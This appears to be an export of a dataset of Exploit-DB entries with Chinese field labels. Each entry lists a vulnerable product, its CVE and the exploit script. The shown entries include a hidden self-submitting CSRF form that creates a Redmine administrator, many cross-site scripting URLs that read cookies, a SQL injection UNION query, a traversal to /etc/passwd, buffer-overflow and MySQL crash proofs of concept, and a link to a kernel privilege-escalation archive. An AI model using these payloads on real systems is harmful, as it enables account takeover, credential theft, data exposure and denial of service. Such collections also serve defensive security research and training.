QLWD/code_shield huggingface dataset:
标题: Ruby on Rails 2.3.5 - 'protect_from_forgery' Cross-Site Request Forgery EDB-ID: 33402 CVE: 2008-7248 类型: REMOTE 平台: LINUX 发布日期: 2009-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/37322/info

Ruby on Rails is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible. 

/**
*  Redmine <= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: <= 0.8.6
*  Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
 
<html>
<body>
    <form method=POST action="http://www.example.com/users/new">
       <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
       <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
       <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
       <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
       <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
       <input style="display: none" type="hidden" value="1" name="user[admin]"/>
       <input style="display: none" type="submit" value="Create" id="commit" name="commit" />
  </form>
  <script>document.getElementById("commit").click();</script>
</body>
</html>
 
/**
*  P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
*  Thus, you can add POST data with token of any user and exploit will be working again
*/ URL: https://www.exploit-db.com/exploits/33402
标题: Million Pixel Script 3 - 'pa' Cross-Site Scripting EDB-ID: 33401 CVE: 2009-4381 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/37315/info

Million Pixel Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Million Pixel Script 3, 3 Pro, and 3 Pro Lotto are vulnerable; other versions may also be affected. 


The following example URI is available:

http://www.example.com/?pa=[XSS] URL: https://www.exploit-db.com/exploits/33401
标题: APC Network Management Card - Cross-Site Request Forgery / Cross-Site Scripting EDB-ID: 33405 CVE: 2009-1798 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37338/info


The APC Network Management Card is prone to multiple cross-site request-forgery and cross-site scripting vulnerabilities.

An attacker can exploit the cross-site request forgery issues to alter the settings on affected devices, which may lead to further network-based attacks.

The attacker can exploit the cross-site scripting issues to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Versions prior to the following are vulnerable:

Network Management Card Firmware 3.7.2
Network Management Card Firmware 5.1.1

http://www.example.com/Forms/login1?login_username=<ScRiPt>alert(&#039;hello&#039;);</ScRiPt> URL: https://www.exploit-db.com/exploits/33405
标题: Horde 3.3.5 - '/Administration Interface admin/cmdshell.php?PATH_INFO' Cross-Site Scripting EDB-ID: 33407 CVE: 2009-3701 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37351/info
 
Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
This issue affects versions prior to Horde 3.3.6.
 
Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/horde-3.3.5/admin/cmdshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=&lt;sessid&gt; URL: https://www.exploit-db.com/exploits/33407
标题: Intellicom 1.3 - 'NetBiterConfig.exe Hostname' Data Remote Stack Buffer Overflow (PoC) EDB-ID: 33403 CVE: 2009-4462 类型: DOS 平台: WINDOWS 发布日期: 2009-12-14 漏洞利用脚本: #!/usr/bin/python
#
#source: https://www.securityfocus.com/bid/37325/info
#
#Intellicom 'NetBiterConfig.exe' is prone to a remote stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
#
#Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 
#

# Intellicom NetBiterConfig.exe 1.3.0 Remote Stack Overwrite.
# Ruben Santamarta - www.reversemode.com
# For research purposes ONLY.
# If you use this code to cause damage I’ll cut you open like a f***ing pig.

import sys
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("10.10.10.10",3250))
s.send("protocol version = 1.10; "
       +"fb type = EVIL-DEVICE; "
       +"module version = 0.66.6; "
       +"mac = 00-30-11-00-BA-CA; "
       +"ip = 192.168.1.52; "
       +"sn = 255.255.255.0; "
       +"gw = 192.168.1.1; "
       +"dhcp = off; "
       +"pswd = off; "
       +"hn = "+"A"*0×60+"; "
       +"dns1 = 192.168.1.33;") URL: https://www.exploit-db.com/exploits/33403
标题: MySQL 6.0.9 - SELECT Statement WHERE Clause Sub-query Denial of Service EDB-ID: 33397 CVE: 2009-4019 类型: DOS 平台: LINUX 发布日期: 2009-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/37297/info

MySQL is prone to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions.

An attacker can exploit these issues to crash the application, denying access to legitimate users.

Versions prior to MySQL 5.0.88 and 5.1.41 are vulnerable. 

drop table if exists `t1`;
create table `t1`(`a` float);
insert into `t1` values (-2),(-1);
select  1 from `t1`
where
`a` <> '1' and not
row(`a`,`a`) <=>
row((select 1 from `t1` where 1=2),(select 1 from `t1`)) 
into @`var0`; URL: https://www.exploit-db.com/exploits/33397
标题: Horde 3.3.5 - Cross-Site Scripting EDB-ID: 33406 CVE: 2009-3701 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37351/info

Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Horde 3.3.6.

Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/horde-3.3.5/admin/phpshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=<sessid> URL: https://www.exploit-db.com/exploits/33406
标题: Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation EDB-ID: 33395 CVE: 2009-4131 类型: LOCAL 平台: LINUX 发布日期: 2009-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/37277/info

Linux kernel is prone to a local privilege-escalation vulnerability because the software fails to verify access permissions.

Exploits may allow attackers to execute arbitrary code with kernel-level privileges and launch other attacks.

Successful exploits will result in the complete compromise of affected computers.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33395.tgz URL: https://www.exploit-db.com/exploits/33395
标题: MySQL 6.0.9 - 'GeomFromWKB()' Function First Argument Geometry Value Handling Denial of Service EDB-ID: 33398 CVE: 2009-4019 类型: DOS 平台: LINUX 发布日期: 2009-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/37297/info
 
MySQL is prone to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions.
 
An attacker can exploit these issues to crash the application, denying access to legitimate users.
 
Versions prior to MySQL 5.0.88 and 5.1.41 are vulnerable. 

drop table if exists `t1`;
create table `t1`(`c0` bigint,`c3` multipolygon);
insert into `t1` values 
(0,geomfromtext('multipolygon(((1 2,3 4,5 6,7 8,9 8),(7 6,5 4,3 2,1 2,3 4)))'));
select 1 from `t1` where 
`c0` <>  (select geometrycollectionfromwkb(`c3`) from `t1`); URL: https://www.exploit-db.com/exploits/33398
标题: phpFaber CMS 1.3.36 - 'module.php' Cross-Site Scripting EDB-ID: 33404 CVE: 2009-4382 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/37329/info

phpFaber CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following example is available:

http://www.example.com/module.php?mod=[XSS] URL: https://www.exploit-db.com/exploits/33404
标题: Zeeways ZeeJobsite - 'basic_search_result.php' Cross-Site Scripting EDB-ID: 33396 CVE: 2009-4601 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/37290/info


ZeeJobsite is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects ZeeJobsite 3x; other versions may be vulnerable as well. 

http://www.example.com/basic_search_result.php?title=<script>alert(/XSS/)</script> URL: https://www.exploit-db.com/exploits/33396
标题: Xfig and Transfig 3.2.5 - '.fig' Remote Buffer Overflow EDB-ID: 33388 CVE: 2009-4227 类型: REMOTE 平台: LINUX 发布日期: 2009-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/37193/info

Xfig and Transfig are prone to a buffer-overflow vulnerability because they fail to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Xfig and Transfig 3.2.5 are vulnerable; other versions may also be affected. 

       PROGRAM XFIG_POC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
C
C      XFIG <= 3.2.5B BUFFER OVERFLOW
C      TRANSFIG <= 3.2.5A (FIG2DEV SOFT) BUFFER OVERFLOW
C      WWW.XFIG.ORG
C
C      AUTHORS:
C      * PEDAMACHEPHEPTOLIONES <pedamachepheptoliones@gmail.com>
C      * D.B. COOPER
C
C      PROBLEM:
C      A STACK-BASED BUFFER OVERFLOW OCCURS IN read_1_3_textobject()
C      WHEN READING MALFORMED .FIG FILES
C      EIP IS OVERWRITTEN SO IT'S NOT JUST A CRASH
C
C      TEST:
C      xfig plane.fig
C      fig2dev -L png plane.fig
C      (IT DOESN'T HAVE TO BE "PNG")
C
C      SOLUTION:
C      DON'T TAKE .FIG CANDY FROM STRANGERS
C
C      OLDSKOOL FORTRAN POCS FTW
C
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

       INTEGER I
       CHARACTER(LEN=167) :: STR

       DO 10 I=1,167
       STR(I:I)='Z'
10     CONTINUE

       OPEN(11,FILE='plane.fig')
       WRITE(11,*) '0 1 2 3'
       WRITE(11,*) '4'
       WRITE(11,*) '1 2 3 4 5 6 7 '//STR
       CLOSE(11)

       WRITE(*,*) 'GREETZ: BACKUS AND BACCHUS'

       END PROGRAM XFIG_POC URL: https://www.exploit-db.com/exploits/33388
标题: Content Module 0.5 for XOOPS - 'id' SQL Injection EDB-ID: 33381 CVE: 2009-4360 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/37155/info

The Content module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Content 0.5 is affected; other versions may also be vulnerable. 

http://www.example.com/modules/content/index.php?id=-1+UNION+SELECT+1,2,3,@@version,5,6,7,8,9,10,11-- URL: https://www.exploit-db.com/exploits/33381
标题: phpMyFAQ < 2.5.4 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33385 CVE: 2009-4780 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/37180/info

phpMyFAQ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to phpMyFAQ 2.5.5 are vulnerable. 

http://www.example.com/index.php?action=sitemap&lang=en"><script>alert(1)</script>
http://www.example.com/index.php?search=hello"><script>alert(document.cookie)</script>&action=search
http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you"><script>alert(1)</script>
http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=sitemap&letter=W&lang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=sitemap&letter=W"><script>alert(1)</script>&lang=en
http://www.example.com/index.php?sid=7&lang=en"><script>alert(document.cookie)</script>&action=show&cat=1
http://www.example.com/index.php?sid=7&lang=en&action=show&cat=1"><script>alert(document.cookie)</script>
http://www.example.com/index.php?action=search&tagging_id=1"><script>alert(1)</script>
http://www.example.com/index.php?action=news&newsid=1&newslang=en"><script>alert(document.cookie)</script>
http://www.example.com/index.php?action=send2friend&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=send2friend&cat=1"><script>alert(1)</script>&id=1&artlang=en
http://www.example.com/index.php?action=send2friend&cat=1&id=1"><script>alert(1)</script>&artlang=en
http://www.example.com/index.php?action=translate&cat=1&id=1&srclang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en
http://www.example.com/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en
http://www.example.com/index.php?action=add&question=1&cat=1"><script>alert(1)</script>
http://www.example.com/index.php?action=add&question=1"><script>alert(1)</script>&cat=1 URL: https://www.exploit-db.com/exploits/33385
标题: Elxis - 'Filename' Directory Traversal EDB-ID: 33383 CVE: 2009-4154 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/37158/info

Elxis is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/includes/feedcreator.class.php?filename=../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/33383
标题: Wireshark 1.10.7 - Denial of Service (PoC) EDB-ID: 33384 CVE: 2014-5116 类型: DOS 平台: WINDOWS 发布日期: 2014-05-16 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: Wireshark Read Access Violation near NULL starting at libcairo_2!cairo_image_surface_get_data()
# Date: May 15th 2014
# Author: Osanda Malith Jayathissa
# E-Mail: osandajayathissa<[at]>gmail.com
# Version: 1.10.7 32-bit and 64-bit
# Vendor Homepage: http://www.wireshark.org
# Tested on: Windows 8 64-bit
'''
The issue is with the cairo_image_surface_get_data() function in Cairo.
These fields are vulnerable:
- Filter text box
- Statistics -> IP DESTINATIONS
- Statistics -> IP Addresses
Paste the generated text in any one of above fields and hit return.
'''

payload = "A" * 50000
file = open('exploit.txt', "w")
file.write(payload)
file.close()

'''
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Wireshark32\libcairo-2.dll - 
eax=00000000 ebx=052dabf0 ecx=77bc2ad2 edx=612fc6e0 esi=00000000 edi=612fc6e0
eip=61291737 esp=008cdca0 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
libcairo_2!cairo_image_surface_get_data+0x7:
61291737 8138609d2f61    cmp     dword ptr [eax],offset libcairo_2!cairo_tee_surface_index+0xd080 (612f9d60) ds:002b:00000000=????????
''' URL: https://www.exploit-db.com/exploits/33384
标题: SmartMedia Module 0.85 Beta for XOOPS - 'categoryId' Cross-Site Scripting EDB-ID: 33382 CVE: 2009-4359 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/37156/info

The SmartMedia module for XOOPS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SmartMedia 0.85 Beta is affected; other versions may also be vulnerable.

The following example URI is available:

http://www.example.com/modules/smartmedia/folder.php?categoryid=1>"><ScRiPt>alert(0);</ScRiPt>&folderid=1&start=0 URL: https://www.exploit-db.com/exploits/33382
标题: Power Phlogger 2.2.x - Cross-Site Scripting EDB-ID: 33380 CVE: 2009-4253 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37150/info

Power Phlogger is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attackers can exploit this issue to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Power Phlogger 2.2.5 is vulnerable; other versions may also be affected.

http://www.example.com/dspStats.php?edit=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/33380
标题: Cacti 0.8.x - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33374 CVE: 2009-4032 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/37109/info

Cacti is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Cacti 0.8.7g are vulnerable. 


http://www.example.com/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27
http://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E
http://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E URL: https://www.exploit-db.com/exploits/33374
标题: Quick.Cart 3.4 / Quick.CMS 2.4 - Delete Function Cross-Site Request Forgery EDB-ID: 33375 CVE: 2009-4120 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/37115/info

Quick.Cart and Quick.CMS are prone to a cross-site request-forgery vulnerability because the applications allow users to bypass certain security checks.

Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to an affected application, or delete certain data. Other attacks are also possible.

Quick.Cart 3.4 and Quick.CMS 2.4 are vulnerable; other versions may also be affected.

NOTE: The vendor refutes this issue stating the issue can not be replicated as described. 

<img
src="http://www.example.com/Quick.Cart/demo/admin.php?p=orders-delete&iOrder=2" />
<iframe
src="http://www.example.com/Quick.Cms/demo_lite/admin.php?p=p-delete&iPage=1"></iframe> URL: https://www.exploit-db.com/exploits/33375
标题: WordPress Plugin WP-Cumulus 1.x - 'tagcloud.swf' Cross-Site Scripting EDB-ID: 33371 CVE: 2009-4168 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/37100/info

The WP-Cumulus plugin for WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to WP-Cumulus 1.23 are vulnerable. 

http://www.example.com/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E URL: https://www.exploit-db.com/exploits/33371
标题: Joomla! Component ProofReader 1.0 RC9 - Cross-Site Scripting EDB-ID: 33377 CVE: 2009-4112 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37145/info

The Joomla! ProofReader component is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects ProofReader 1.0 RC9 and prior. 

The following proof-of-concept URIs are available:

http://www.example.com/1";alert(document.cookie);//
http://www.example.com/page?";alert(document.cookie);// URL: https://www.exploit-db.com/exploits/33377
标题: KDE 4.3.3 - KDELibs 'dtoa()' Remote Code Execution EDB-ID: 33364 CVE: 2009-0689 类型: REMOTE 平台: LINUX 发布日期: 2009-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/37080/info

KDE is prone to a remote code-execution vulnerability that affects KDELibs.

Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions.

NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.

This issue affects KDE KDELibs 4.3.3; other versions may also be affected.

<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script> URL: https://www.exploit-db.com/exploits/33364